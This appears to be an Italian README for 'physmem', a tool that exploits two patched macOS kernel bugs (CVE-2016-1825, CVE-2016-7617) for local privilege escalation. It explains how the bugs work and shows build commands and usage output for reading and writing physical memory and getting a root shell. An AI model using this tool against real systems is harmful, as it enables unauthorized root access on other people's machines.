
Escalation dei privilegi locale attraverso macOS 10.12.1 tramite CVE-2016-1825 o CVE-2016-7617.
physmem è uno strumento di ispezione della memoria fisica e di escalation dei privilegi locali per macOS fino alla versione 10.12.1. Sfrutta CVE-2016-1825 o CVE-2016-7617 a seconda del target di distribuzione. Queste due vulnerabilità sono quasi identiche e lo sfruttamento può essere effettuato esattamente allo stesso modo. Sono state corrette rispettivamente in OS X El Capitan 10.11.5 e macOS Sierra 10.12.2.
Poiché si tratta di bug logici, lo sfruttamento è incredibilmente affidabile. Non ho ancora riscontrato un panic nelle decine di migliaia di volte in cui ho eseguito un programma (correttamente) che sfruttava queste vulnerabilità.
CVE-2016-1825 è un problema in IOHIDevice che consente di impostare proprietà arbitrarie del registro IOKit. In particolare, la proprietà privilegiata IOUserClientClass può essere controllata da un processo non privilegiato. Non ho testato piattaforme precedenti a Yosemite, ma la vulnerabilità appare nel codice sorgente già da Mac OS X Leopard.
CVE-2016-7617 è un problema quasi identico in AppleBroadcomBluetoothHostController. Questa vulnerabilità sembra essere stata introdotta in OS X El Capitan. È stata segnalata da Ian Beer di Google Project Zero (issue 974) e Radu Motspan.
Compila physmem specificando il target di distribuzione sulla riga di comando:
$ make MACOSX_DEPLOYMENT_TARGET=10.10.5
Puoi leggere una word di memoria fisica usando il comando read:
$ ./physmem read 0x1000
a69a04f2f59625b3
Puoi scrivere sulla memoria fisica usando il comando write:
$ ./physmem write 0x1000 0x1122334455667788
$ ./physmem read 0x1000
1122334455667788
Puoi eseguire una shell root usando il comando root:
$ ./physmem root
sh-3.2# whoami
root
Il codice physmem è rilasciato nel pubblico dominio. Per cortesia, ti chiedo che se fai riferimento o usi questo codice, mi attribuisca la paternità.